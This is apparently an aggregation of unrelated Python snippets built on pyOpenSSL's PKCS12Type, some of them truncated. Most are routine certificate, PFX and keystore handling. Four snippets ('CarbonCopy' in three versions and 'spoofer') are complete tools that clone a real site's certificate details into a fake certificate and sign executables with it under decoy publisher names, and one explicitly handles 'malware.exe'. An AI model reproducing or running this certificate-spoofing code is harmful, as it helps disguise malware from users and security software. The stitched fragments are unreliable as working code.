def make_pfx(cert: bytes, key: bytes) -> bytes: crt = crypto.load_certificate(crypto.FILETYPE_PEM, cert) priv = crypto.load_privatekey(crypto.FILETYPE_PEM, key) pfx = crypto.PKCS12Type() pfx.set_privatekey(priv) pfx.set_certificate(crt) return pfx.export('')
def generate_pfx(args): domain, privkey_pem, cert_pem, fullchain_pem, chain_pem, timestamp = args logger.info("args: {0}".format(args)) pfx_pem=cert_pem.replace("cert.pem", "cert.pfx") # Read in cert cert = crypto.load_certificate( crypto.FILETYPE_PEM, open(cert_pem, 'rt').read() ) # Read in private key privkey = crypto.load_privatekey( crypto.FILETYPE_PEM, open(privkey_pem, 'rt').read() ) # Generate PFX pfx = crypto.PKCS12Type() pfx.set_privatekey(privkey) pfx.set_certificate(cert) pfxdata = pfx.export(os.environ["PKCS_PASSWORD"]) # Write PFX to file with open(pfx_pem, 'wb') as f: f.write(pfxdata) logger.info(' + PFX File Created: {0}'.format(pfx_pem)) return pfx_pem
def gen_csr(self,server): certpath, unity_path = self.make_cert_dirs() priv_key_path = join(certpath, server.lower()) + ".p12" passphrase = self.dcs.get_value('KeystorePass.%s' % server) if os.path.isfile(priv_key_path): key = self.load_private_key_p12(priv_key_path,passphrase) else: key = crypto.PKey() key.generate_key(crypto.TYPE_RSA, 2048) pfx = crypto.PKCS12Type() pfx.set_privatekey(key) #pfx.set_certificate(cert) pfxdata = pfx.export(passphrase) with open(priv_key_path, 'wb') as pfxfile: pfxfile.write(pfxdata) os.chmod(priv_key_path, 0o600) cert = crypto.X509Req() self.set_cert_attributes(server,cert) cert.set_pubkey(key) cert.sign(key,digest="sha256") csr_dir = self.dcs.get_value("directory.csrs") mkdir_p(csr_dir) csr_path = join(csr_dir, server.lower()) + ".pem.csr" with open(csr_path,'wb') as out: out.write(crypto.dump_certificate_request(crypto.FILETYPE_PEM, cert)) return self.name_to_rfc4514(cert.get_subject())
def CarbonCopy(host, port, signee, signed): try: #Fetching Details ogcert = ssl.get_server_certificate((host, int(port))) x509 = crypto.load_certificate(crypto.FILETYPE_PEM, ogcert) certDir = Path('certs') certDir.mkdir(exist_ok=True) #Creating Fake Certificate CNCRT = certDir / (host + ".crt") CNKEY = certDir / (host + ".key") PFXFILE = certDir / (host + ".pfx") #Creating Keygen k = crypto.PKey() k.generate_key(crypto.TYPE_RSA, ((x509.get_pubkey()).bits())) cert = crypto.X509() #Setting Cert details from loaded from the original Certificate cert.set_version(x509.get_version()) cert.set_serial_number(x509.get_serial_number()) cert.set_subject(x509.get_subject()) cert.set_issuer(x509.get_issuer()) cert.set_notBefore(x509.get_notBefore()) cert.set_notAfter(x509.get_notAfter()) cert.set_pubkey(k) cert.sign(k, 'sha256') CNCRT.write_bytes(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) CNKEY.write_bytes(crypto.dump_privatekey(crypto.FILETYPE_PEM, k)) try: pfx = crypto.PKCS12() except AttributeError: pfx = crypto.PKCS12Type() pfx.set_privatekey(k) pfx.set_certificate(cert) pfxdata = pfx.export() PFXFILE.write_bytes(pfxdata) if platform == "win32": shutil.copy(signee, signed) subprocess.check_call([ "signtool.exe", "sign", "/v", "/f", PFXFILE, "/d", "MozDef Corp", "/tr", TIMESTAMP_URL, "/td", "SHA256", "/fd", "SHA256", signed ]) else: args = ("osslsigncode", "sign", "-pkcs12", PFXFILE, "-n", "Notepad Benchmark Util", "-i", TIMESTAMP_URL, "-in", signee, "-out", signed) subprocess.check_call(args) except Exception as ex: print("[X] Something Went Wrong!\n[X] Exception: " + str(ex))
def create_pfx_bundle(identity): intermediate = crypto.load_certificate(crypto.FILETYPE_PEM, identity['intermediate.pem']) cert = crypto.load_certificate(crypto.FILETYPE_PEM, identity['cert.pem']) key = crypto.load_privatekey(crypto.FILETYPE_PEM, identity['key.pem'], CERT_BUNDLE_PFX_PASSPHRASE) write_pfx_bundle = False if os.path.exists(WPA_SUPPLICANT_BUNDLE_FILE_PFX): with open(WPA_SUPPLICANT_BUNDLE_FILE_PFX, "r") as bundle_file: e_cert = crypto.load_pkcs12( bundle_file.read(), CERT_BUNDLE_PFX_PASSPHRASE).get_certificate() syslog.syslog( syslog.LOG_INFO, "current PFX bundle: valid from " + not_before_ts(e_cert) + ", valid until " + not_after_ts(e_cert)) if (e_cert.get_notAfter() == cert.get_notAfter()): syslog.syslog( syslog.LOG_INFO, "new PFX bundle: valid from " + not_before_ts(cert) + ", valid until " + not_after_ts(cert) + ": unchanged") else: syslog.syslog( syslog.LOG_INFO, "new PFX bundle: valid from " + not_before_ts(cert) + ", valid until " + not_after_ts(cert) + ": updating") write_pfx_bundle = True else: syslog.syslog( syslog.LOG_INFO, "PFX bundle: valid from " + not_before_ts(cert) + ", valid until " + not_after_ts(cert) + ": creating") write_pfx_bundle = True if write_pfx_bundle: cacerts = [] cacerts.append(intermediate) # # handle different method names of OpenSSL.crypto module. # try: pkcs12 = crypto.PKCS12Type() syslog.syslog(syslog.LOG_INFO, "crypto.PKCS12Type() = " + str(pkcs12)) except: pkcs12 = crypto.PKCS12() syslog.syslog(syslog.LOG_INFO, "crypto.PKCS12() = " + str(pkcs12)) pkcs12.set_ca_certificates(cacerts) pkcs12.set_certificate(cert) pkcs12.set_privatekey(key) with open(WPA_SUPPLICANT_BUNDLE_FILE_PFX, "w") as bundle_file: bundle_file.write( pkcs12.export(passphrase=CERT_BUNDLE_PFX_PASSPHRASE)) # FIXME: remove this syslog.syslog( syslog.LOG_INFO, "updated PFX bundle: valid from " + not_before_ts(cert) + ", valid until " + not_after_ts(cert)) fixup_selinux_attributes(WPA_SUPPLICANT_BUNDLE_FILE_PFX) return True else: return False
def generate_certs(self): """ Generate new certificates for the MITMProxy and store them in CA_DIR :return: """ from OpenSSL import crypto, SSL import random, string from shutil import copyfile log.info("Generating ceritificates...") if not os.path.isdir(CA_DIR): log.warn("Directory %s did not exist. I will create it." % CA_DIR) os.makedirs(CA_DIR) ca_pem = os.path.join(CA_DIR,'mitmproxy-ca.pem') ca_cert_cer = os.path.join(CA_DIR, 'mitmproxy-ca-cert.cer') ca_cert_p12 = os.path.join(CA_DIR, 'mitmproxy-ca-cert.p12') ca_cert_pem = os.path.join(CA_DIR, 'mitmproxy-ca-cert.pem') N = random.randint(3, 10) snumber = random.randint(1000, 9999999999) # create a key pair k = crypto.PKey() k.generate_key(crypto.TYPE_RSA, 2048) # Generate a random string certificate. # This is a simple attempt to avoid easy detection of mitm proxy on the sandbox entity = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N)) # create a self-signed cert cert = crypto.X509() cert.get_subject().OU = entity cert.get_subject().CN = entity cert.set_serial_number(snumber) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(10 * 365 * 24 * 60 * 60) cert.set_issuer(cert.get_subject()) cert.set_pubkey(k) cert.sign(k, 'sha1') # We now export the certificate in various formats with open(ca_pem, "wt") as t: t.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k)) t.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) with open(ca_cert_pem, "wt") as t: t.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) copyfile(ca_cert_pem, ca_cert_cer) pfx = crypto.PKCS12Type() pfx.set_privatekey(k) pfx.set_certificate(cert) pfxdata = pfx.export() with open(ca_cert_p12, "wb") as t: t.write(pfxdata)
def get_pkcs12(self, include_chain=True, password=None): pfx = crypto_openssl.PKCS12Type() pfx.set_privatekey( crypto_openssl.PKey.from_cryptography_key(self._private_key)) pfx.set_certificate( crypto_openssl.X509.from_cryptography(self._certificate)) if include_chain: pfx.set_ca_certificates(None) ## FIXME Implement return pfx.export(password)
def p12(certdata, privkeydata, user_name, password): cert = crypto.load_certificate(crypto.FILETYPE_PEM, certdata) privkey = crypto.load_privatekey(crypto.FILETYPE_PEM, privkeydata) pfx = crypto.PKCS12Type() pfx.set_privatekey(privkey) pfx.set_certificate(cert) pfxdata = pfx.export(password) with open('/opt/microCA/users/' + user_name + '.p12', 'w') as pfxfile: pfxfile.write(pfxdata) return pfxdata
def import_srv_crt_to_keystore(): config = hookenv.config() for cert_type in ('server', 'client'): password = keystore_password() crt_path = os.path.join(SCHEMA_REG_DATA, "{}.crt".format(cert_type)) key_path = os.path.join(SCHEMA_REG_DATA, "{}.key".format(cert_type)) if os.path.isfile(crt_path) and os.path.isfile(key_path): with open(crt_path, 'rt') as f: cert = f.read() loaded_cert = crypto.load_certificate(crypto.FILETYPE_PEM, cert) if not data_changed( 'confluent_schema_registry{}_certificate'.format( cert_type), cert): if not config['ssl_key_password']: log('server certificate of key file missing') return with open(key_path, 'rt') as f: loaded_key = crypto.load_privatekey(crypto.FILETYPE_PEM, f.read()) with tempfile.NamedTemporaryFile() as tmp: log('server certificate changed') keystore_path = os.path.join( SCHEMA_REG_DATA, "confluent_schema_registry.{}.jks".format(cert_type)) if os.path.isfile(keystore_path): os.remove(keystore_path) pkcs12 = crypto.PKCS12Type() pkcs12.set_certificate(loaded_cert) pkcs12.set_privatekey(loaded_key) pkcs12_data = pkcs12.export(password) log('opening tmp file {}'.format(tmp.name)) # write cert and private key to the pkcs12 file tmp.write(pkcs12_data) tmp.flush() log('importing pkcs12') # import the pkcs12 into the keystore check_call([ 'keytool', '-v', '-importkeystore', '-srckeystore', str(tmp.name), '-srcstorepass', password, '-srcstoretype', 'PKCS12', '-destkeystore', keystore_path, '-deststoretype', 'JKS', '-deststorepass', password, '--noprompt' ]) set_state('confluent_schema_registry.{}.keystore.saved'.format( cert_type)) remove_state('confluent_schema_registry.started') remove_state('tls_client.certs.changed')
def spoofer(host, port, filename, out): try: ogcert = get_server_certificate((host, int(port))) x509 = crypto.load_certificate(crypto.FILETYPE_PEM, ogcert) certDir = Path('certs') certDir.mkdir(exist_ok=True) # Creating Fake Certificate CNCRT = certDir / (host + ".crt") CNKEY = certDir / (host + ".key") PFXFILE = certDir / (host + ".pfx") # Creating Keygen k = crypto.PKey() k.generate_key(crypto.TYPE_RSA, ((x509.get_pubkey()).bits())) cert = crypto.X509() # Setting Cert details from loaded from the original Certificate cert.set_version(x509.get_version()) cert.set_serial_number(x509.get_serial_number()) cert.set_subject(x509.get_subject()) cert.set_issuer(x509.get_issuer()) cert.set_notBefore(x509.get_notBefore()) cert.set_notAfter(x509.get_notAfter()) cert.set_pubkey(k) cert.sign(k, 'sha256') CNCRT.write_bytes(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) CNKEY.write_bytes(crypto.dump_privatekey(crypto.FILETYPE_PEM, k)) try: pfx = crypto.PKCS12() except AttributeError: pfx = crypto.PKCS12Type() pfx.set_privatekey(k) pfx.set_certificate(cert) pfxdata = pfx.export() PFXFILE.write_bytes(pfxdata) args = ("osslsigncode", "sign", "-pkcs12", PFXFILE, "-n", core.varname_creator(), "-i", TIMESTAMP_URL, "-in", filename, "-out", out) call(args, stdout=PIPE) core.exe_signed() system(f"mv output/malware.exe {filename} && rm -rf certs/") except Exception as ex: print("[X] Something Went Wrong!\n[X] Exception: " + str(ex))
def import_srv_crt_to_keystore(): for cert_type in ('server', 'client'): password = keystore_password() crt_path = crtPath(cert_type) key_path = keyPath(cert_type) if os.path.isfile(crt_path) and os.path.isfile(key_path): with open(crt_path, 'rt') as f: cert = f.read() loaded_cert = crypto.load_certificate(crypto.FILETYPE_PEM, cert) if not data_changed('kafka_{}_certificate'.format(cert_type), cert): log('server certificate of key file missing') return with open(key_path, 'rt') as f: loaded_key = crypto.load_privatekey(crypto.FILETYPE_PEM, f.read()) with tempfile.NamedTemporaryFile() as tmp: log('server certificate changed') keystore_path = keystore(cert_type) pkcs12 = crypto.PKCS12Type() pkcs12.set_certificate(loaded_cert) pkcs12.set_privatekey(loaded_key) pkcs12_data = pkcs12.export(password) log('opening tmp file {}'.format(tmp.name)) # write cert and private key to the pkcs12 file tmp.write(pkcs12_data) tmp.flush() log('importing pkcs12') # import the pkcs12 into the keystore check_call([ 'keytool', '-v', '-importkeystore', '-srckeystore', str(tmp.name), '-srcstorepass', password, '-srcstoretype', 'PKCS12', '-destkeystore', keystore_path, '-deststoretype', 'JKS', '-deststorepass', password, '--noprompt' ]) os.chmod(keystore_path, 0o440) remove_state('tls_client.certs.changed') set_state('kafka.{}.keystore.saved'.format(cert_type)) remove_state('kafka.started')
def create_root_ca(): pkey = crypto.PKey() pkey.generate_key(crypto.TYPE_RSA, 4096) cert = crypto.X509() cert.set_version(2) cert.set_serial_number(int(random.random() * sys.maxsize)) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(60 * 60 * 24 * 365 * 10) subject = cert.get_subject() subject.CN = "Accesser" subject.O = "Accesser" issuer = cert.get_issuer() issuer.CN = "Accesser" issuer.O = "Accesser" cert.set_pubkey(pkey) cert.add_extensions([ crypto.X509Extension(b"basicConstraints", True, b"CA:TRUE"), crypto.X509Extension(b"subjectKeyIdentifier", False, b"hash", subject=cert) ]) cert.add_extensions([ crypto.X509Extension(b"authorityKeyIdentifier", False, b"keyid:always", issuer=cert) ]) cert.sign(pkey, "sha256") with open(os.path.join(certpath, "root.crt"), "wb") as certfile: certfile.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) certfile.close() with open(os.path.join(certpath, "root.key"), "wb") as pkeyfile: pkeyfile.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, pkey)) pkeyfile.close() pfx = crypto.PKCS12Type() pfx.set_privatekey(pkey) pfx.set_certificate(cert) with open(os.path.join(certpath, "root.pfx"), 'wb') as pfxfile: pfxfile.write(pfx.export())
def make_certificate(tmp_name, ca_path, ca_priv_key_path, cn, email, uid, days_to_exp=365): with open(ca_path, 'r') as fd: ca = fd.read() ca_cert = crypto.load_certificate(crypto.FILETYPE_PEM, ca) with open(ca_priv_key_path, 'r') as fd: ca_priv_key = fd.read() ca_key = crypto.load_privatekey(crypto.FILETYPE_PEM, ca_priv_key) key = crypto.PKey() key.generate_key(crypto.TYPE_RSA, 2048) cert = crypto.X509() cert.get_subject().CN = cn cert.get_subject().emailAddress = email cert.get_subject().UID = uid cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(days_to_exp * 24 * 60 * 60) cert.set_serial_number(int(tmp_name, 16)) cert.set_issuer(ca_cert.get_subject()) cert.set_pubkey(key) cert.sign(ca_key, 'sha256') p12 = crypto.PKCS12Type() p12.set_certificate(cert) p12.set_privatekey(key) private_key = crypto.dump_privatekey(crypto.FILETYPE_PEM, key) certificate = crypto.dump_certificate(crypto.FILETYPE_PEM, cert) p12_key = p12.export() fingerprint = cert.digest('sha256') return private_key, certificate, p12_key, fingerprint
def AddMachineCertificate(self, certificate, private_key): """Adds a machine certificate payload to the profile. Args: certificate: str, PEM-formatted certificate. private_key: str, PEM-formatted private key. Raises: CertificateError: there was an error processing the certificate/key """ try: cert = certs.Certificate(certificate) pkcs12 = crypto.PKCS12Type() pkcs12.set_certificate(crypto.load_certificate( crypto.FILETYPE_PEM, certificate)) pkcs12.set_privatekey(crypto.load_privatekey( crypto.FILETYPE_PEM, private_key)) except (certs.CertError, crypto.Error) as e: raise CertificateError(e) payload = {PAYLOADKEYS_IDENTIFIER: self._GenerateID('machine_cert'), PAYLOADKEYS_TYPE: 'com.apple.security.pkcs12', PAYLOADKEYS_DISPLAYNAME: cert.subject_cn, 'Password': cert.osx_fingerprint} try: payload[PAYLOADKEYS_CONTENT] = plistlib.Data( pkcs12.export(cert.osx_fingerprint)) except crypto.Error as e: raise CertificateError(e) # Validate payload to generate its UUID ValidatePayload(payload) self._auth_cert = payload.get(PAYLOADKEYS_UUID) self.AddPayload(payload)
'Key': 'OwnerDL', 'Value': OU } ] ) cert_response = acmclient.get_certificate( CertificateArn=import_response.get('CertificateArn') ) f = open(cn + ".cer", "w") f.write(cert_response.get("Certificate")) f.close cert = crypto.load_certificate(crypto.FILETYPE_PEM, cert_response.get("Certificate")) privkey = crypto.load_privatekey(crypto.FILETYPE_PEM, open(keyfile).read()) pfx = crypto.PKCS12Type() pfx.set_privatekey(k) pfx.set_certificate(cert) pfxdata = pfx.export(passwd) with open(cn + '.pfx', 'wb') as pfxfile: pfxfile.write(pfxdata) msg = MIMEMultipart() msg['From'] = '*****@*****.**' msg['To'] = COMMASPACE.join(email) msg['Date'] = formatdate(localtime=True) msg['Subject'] = sr msg.attach(MIMEText('Dear ' + email + '\n\nAttached is your BST for ' + cn)) with open(cn + '.pfx', "rb") as fil: part = MIMEApplication( fil.read(),
def generate(self, root_private, root_public, password): ''' Function generates certificate from specified template > root_private = Issuing CA private Key > root_public = Issuing CA public key > password: Password to protect PFX > template: Certificate template ''' # Generating new Private Key for certificate pKey = crypto.PKey() pKey.generate_key(crypto.TYPE_RSA, self.keylen) # Generating the serial number md5_hash = hashlib.md5() md5_hash.update(str(uuid.uuid4())) serial = int(md5_hash.hexdigest()[:-16], 16) cert = crypto.X509() if "C" in self.subject: cert.get_subject().C = self.subject['C'] if "OU" in self.subject: cert.get_subject().OU = self.subject['OU'] if "O" in self.subject: cert.get_subject().O = self.subject['O'] if "L" in self.subject: cert.get_subject().L = self.subject['L'] if "ST" in self.subject: cert.get_subject().ST = self.subject['ST'] if "E" in self.subject: cert.get_subject().emailAddress = self.subject['E'] if "CN" in self.subject: cert.get_subject().CN = self.subject['CN'] # Setting certificate parameters cert.set_version(2) cert.set_serial_number(serial) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(int(self.valid) * 30 * 24 * 60 * 60) cert.set_issuer(root_public.get_subject()) cert.set_pubkey(pKey) # Adding extensions for extension in self.extensions: if extension['value']: cert.add_extensions([ crypto.X509Extension(extension['name'], extension['crit'], extension['value']) ]) # Signing certificate cert.sign(root_private, 'sha256') # Generating PFX pfx = crypto.PKCS12Type() pfx.set_privatekey(pKey) pfx.set_certificate(cert) pfxdata = pfx.export(password) # Creating new Certificate object certificate = Certificate() certificate.serial = hex(serial)[2:] certificate.public = crypto.dump_certificate(crypto.FILETYPE_PEM, cert) certificate.p12 = base64.b64encode(pfxdata) certificate.status = 1 return certificate
def generate_p12(nic_id: str, user_directory: str, password: str, private_key: str): """ Generate PKCS12 (p12) file and save to directory created for the user for this session :param nic_id: NIC handle of the user :param user_directory: the directory generated for the user for this session :param password: password of the user :param private_key: private key generated by generate_csr function :return: """ global pfx_data download_path = base_directory + '/downloads/' + user_directory pem_file = download_path + '/' + nic_id + '.pem' output = download_path + '/' + nic_id + '.p12' try: with open(pem_file, 'rb') as pem_file: pem_buffer = pem_file.read() pem = crypt.load_certificate(crypt.FILETYPE_PEM, pem_buffer) except IOError as error: print( 'Could not read pem file. Make sure file exists and you have the right permission. ', error) logger.error( 'Could not read pem file. Make sure file exists and you have the right permission: %s ' '-- NIC Handle: %s', error, nic_id) server_errors.append(error) abort(500) try: private_key = crypt.load_privatekey(crypt.FILETYPE_PEM, private_key) pfx = crypt.PKCS12Type() pfx.set_privatekey(private_key) try: pfx.set_certificate(pem) pfx_data = pfx.export(password) except crypt.Error as error: print('An unexpected error occurred', error) logger.error('An unexpected error occurred: %s -- NIC Handle: %s', error, nic_id) server_errors.append(error) abort(500) try: with open(output, 'wb') as p12_file: p12_file.write(pfx_data) except IOError as error: print('Unable to write p12 file ', error) logger.error('Unable to write p12 file: %s --NIC Handle: %s', error, nic_id) server_errors.append(error) abort(500) except UnboundLocalError as error: print('Pem file not created:', error) logger.error('Pem file not created: %s --NIC Handle: %s', error, nic_id) server_errors.append(error) abort(500) except crypt.Error as error: print('An unexpected error occurred while generating p12 file:', error) logger.error( 'An unexpected error occurred while generating p12 file: %s --NIC Handle: %s', error, nic_id) server_errors.append(error) abort(500)
ca_file.write(ca) with open("cert.crt", "w") as cert_file: cert_file.write(cert) with open("key.key", "w") as key_file: key_file.write(key) print( "ca.crt, cert.crt, key.key created \nUsing OpenSSL to combine them into a p12" ) # load ca, cert, and key files ca = crypto.load_certificate(crypto.FILETYPE_PEM, bytes(ca, encoding='utf-8')) cert = crypto.load_certificate(crypto.FILETYPE_PEM, bytes(cert, encoding='utf-8')) key = crypto.load_privatekey(crypto.FILETYPE_PEM, bytes(key, encoding='utf-8')) # combine into p12 format p12 = crypto.PKCS12Type() p12.set_privatekey(key) p12.set_certificate(cert) p12.set_ca_certificates([ca]) # write to p12 file passphrase = str(input('Passphrase for p12: ')) print('Exporting p12certificate.p12') p12data = p12.export(passphrase) with open('p12certificate.p12', 'wb') as p12file: p12file.write(p12data)
def CarbonCopy(host, port, signee, signed): try: #Fetching Details print("[+] Loading public key of %s in Memory..." % host) ogcert = ssl.get_server_certificate((host, int(port))) x509 = crypto.load_certificate(crypto.FILETYPE_PEM, ogcert) certDir = r'certs' if not os.path.exists(certDir): os.makedirs(certDir) #Creating Fake Certificate CNCRT = certDir + "/" + host + ".crt" CNKEY = certDir + "/" + host + ".key" PFXFILE = certDir + "/" + host + '.pfx' #Creating Keygen k = crypto.PKey() k.generate_key(crypto.TYPE_RSA, ((x509.get_pubkey()).bits())) cert = crypto.X509() #Setting Cert details from loaded from the original Certificate print("[+] Cloning Certificate Version") cert.set_version(x509.get_version()) print("[+] Cloning Certificate Serial Number") cert.set_serial_number(x509.get_serial_number()) print("[+] Cloning Certificate Subject") cert.set_subject(x509.get_subject()) print("[+] Cloning Certificate Issuer") cert.set_issuer(x509.get_issuer()) print("[+] Cloning Certificate Registration & Expiration Dates") cert.set_notBefore(x509.get_notBefore()) cert.set_notAfter(x509.get_notAfter()) cert.set_pubkey(k) print("[+] Signing Keys") cert.sign(k, 'sha256') print("[+] Creating %s and %s" %(CNCRT, CNKEY)) open(CNCRT, "wt").write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8')) open(CNKEY, "wt").write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k).decode('utf-8')) print("[+] Clone process completed. Creating PFX file for signing executable...") pfx = crypto.PKCS12Type() pfx.set_privatekey(k) pfx.set_certificate(cert) pfxdata = pfx.export() with open((PFXFILE), 'wb') as pfile: pfile.write(pfxdata) if (platform == "win32"): print("[+] Platform is Windows OS...") print("[+] Signing %s with signtool.exe..." %(signed)) print(subprocess.check_output("copy " + signee + " " + signed, shell=True).decode()) print(subprocess.check_output("signtool.exe sign /v /f " + PFXFILE + " /d \"MozDef Corp\" /tr \"http://sha256timestamp.ws.symantec.com/sha256/timestamp\" /td SHA256 /fd SHA256 " + signed, shell=True).decode()) else: print("[+] Platform is Linux OS...") print("[+] Signing %s with %s using osslsigncode..." %(signee, PFXFILE)) args = ("osslsigncode", "sign", "-pkcs12", PFXFILE, "-n", "Notepad Benchmark Util", "-i", "http://sha256timestamp.ws.symantec.com/sha256/timestamp", "-in", signee, "-out", signed) popen = subprocess.Popen(args, stdout=subprocess.PIPE) popen.wait() output = popen.stdout.read() print("[+] " + output.decode('utf-8')) except Exception as ex: print("[X] Something Went Wrong!\n[X] Exception: " + str(ex))
def CarbonCopy(host, port, signee, signed): try: # Fetching details print("[+] Loading public key of {0} in Memory...".format(host)) ogcert = ssl.get_server_certificate((host, int(port))) x509 = crypto.load_certificate(crypto.FILETYPE_PEM, ogcert) certDir = Path('certs') certDir.mkdir(exist_ok=True) # Creating fake certificate CNCRT = certDir / (host + ".crt") CNKEY = certDir / (host + ".key") PFXFILE = certDir / (host + ".pfx") # Creating keygen k = crypto.PKey() k.generate_key(crypto.TYPE_RSA, ((x509.get_pubkey()).bits())) cert = crypto.X509() # Setting certificate details from loaded from the original certificate print("[+] Cloning Certificate Version") cert.set_version(x509.get_version()) print("[+] Cloning Certificate Serial Number") cert.set_serial_number(x509.get_serial_number()) print("[+] Cloning Certificate Subject") cert.set_subject(x509.get_subject()) print("[+] Cloning Certificate Issuer") cert.set_issuer(x509.get_issuer()) print("[+] Cloning Certificate Registration & Expiration Dates") cert.set_notBefore(x509.get_notBefore()) cert.set_notAfter(x509.get_notAfter()) cert.set_pubkey(k) print("[+] Signing Keys") cert.sign(k, 'sha256') print("[+] Creating {0} and {1}".format(CNCRT, CNKEY)) CNCRT.write_bytes(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) CNKEY.write_bytes(crypto.dump_privatekey(crypto.FILETYPE_PEM, k)) print( "[+] Clone process completed. Creating PFX file for signing executable..." ) try: pfx = crypto.PKCS12() except AttributeError: pfx = crypto.PKCS12Type() pfx.set_privatekey(k) pfx.set_certificate(cert) pfxdata = pfx.export() PFXFILE.write_bytes(pfxdata) if sys.platform == "win32": print("[+] Platform is Windows OS...") print("[+] Signing {0} with signtool.exe...".format(signed)) shutil.copy(signee, signed) subprocess.check_call([ "signtool.exe", "sign", "/v", "/f", PFXFILE, "/d", "MozDef Corp", "/tr", TIMESTAMP_URL, "/td", "SHA256", "/fd", "SHA256", signed ]) else: print("[+] Platform is Linux OS...") print("[+] Signing {0} with {1} using osslsigncode...".format( signee, PFXFILE)) args = ("osslsigncode", "sign", "-pkcs12", PFXFILE, "-n", "Notepad Benchmark Util", "-i", TIMESTAMP_URL, "-in", signee, "-out", signed) print("[+] ", end='', flush=True) subprocess.check_call(args) except Exception as ex: print("[X] Something Went Wrong!\n[X] Exception: " + str(ex))
def gen_or_update_server_cert(self,server): certpath, unity_path = self.make_cert_dirs() priv_key_path = join(certpath, server.lower()) + ".p12" passphrase = self.dcs.get_value('KeystorePass.%s' % server) camode = self.dcs.get_value("CAMODE") if os.path.isfile(priv_key_path): key = self.load_private_key_p12(priv_key_path,passphrase) else: # create a key pair for server and sign it using the CA. # CN is daemon name, SAN is FQDN # In the special case of Unity we also write the PEM, as we need it for unicorex and probably the workflow server. assert(camode == "SELFSIGNED") # We only do this in this step in case we have our own CA key = crypto.PKey() key.generate_key(crypto.TYPE_RSA, 2048) ca_cert = self.get_ca_cert() if camode == 'INSTALLCSR': csrdir = self.dcs.get_value("directory.csrs") mypem = join(csrdir,server.lower()+".pem") if not os.path.isfile(mypem): print("Could not find file %s. Please make sure you have the files of the certificate authority at the correct place and restart. Exiting."%mypem) sys.exit(5) cert = self.load_certificate(mypem) else: #self signed mode assert(self.dcs.get_value("CAMODE") == "SELFSIGNED") ca_key= self.get_ca_key() years = self.dcs.get_value("cert.years") cert = crypto.X509() self.set_cert_attributes(server,cert) cert.set_serial_number(self.serial) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(years * 365 * 24 * 60 * 60) cert.set_issuer(ca_cert.get_subject()) cert.set_pubkey(key) cert.sign(ca_key, 'sha256') self.serial += 1 pfx = crypto.PKCS12Type() pfx.set_privatekey(key) pfx.set_certificate(cert) pfxdata = pfx.export(passphrase) with open(priv_key_path, 'wb') as pfxfile: pfxfile.write(pfxdata) os.chmod(priv_key_path, 0o600) if server == "UNITY": # Unity PEM needs to be "trusted" as saml assertion issuer by unicorex unity_cert_path = join(unity_path,"unity.pem") with open(unity_cert_path,'w') as out: out.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode("UTF-8")) # Unity defaults to a jks truststore: unicore_dir = self.dcs.get_value("directory.unicore") unity_pki_dir = join(unicore_dir, "unity", "conf","pki") unity_truststore_path = join(unity_pki_dir,"trusted-ca") mkdir_p(unity_truststore_path) unity_privatekey = join(unity_pki_dir,"unity.p12") with open(unity_privatekey, 'wb') as pfxfile: pfxfile.write(pfxdata) os.chmod(unity_privatekey, 0o600) mkdir_p(unity_truststore_path) unity_truststore_path = join(unity_truststore_path,"truststore.pem") with open(unity_truststore_path,'w') as out: out.write(crypto.dump_certificate(crypto.FILETYPE_PEM, ca_cert).decode("UTF-8")) if server == "TSI": # TSI needs its cert and key both in PEM format unicore_dir = self.dcs.get_value("directory.unicore") server_confdir = join(unicore_dir, "tsi_selected", "conf") mkdir_p(server_confdir) tsi_cert_path = join(server_confdir, "tsi-cert.pem") tsi_truststore_path = join(server_confdir, "tsi-truststore.pem") with open(tsi_truststore_path,'w') as out: out.write(crypto.dump_certificate(crypto.FILETYPE_PEM, ca_cert).decode("UTF-8")) with open(tsi_cert_path, 'w') as out: out.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode("UTF-8")) tsi_key_path = join(server_confdir, "tsi-key.pem") tsi_passphrase = self.dcs.get_value("KeystorePass.TSI") with open(tsi_key_path, 'w') as out: out.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, key, passphrase=tsi_passphrase.encode("UTF-8")).decode("UTF-8")) os.chmod(tsi_key_path, 0o600) return self.name_to_rfc4514(cert.get_subject())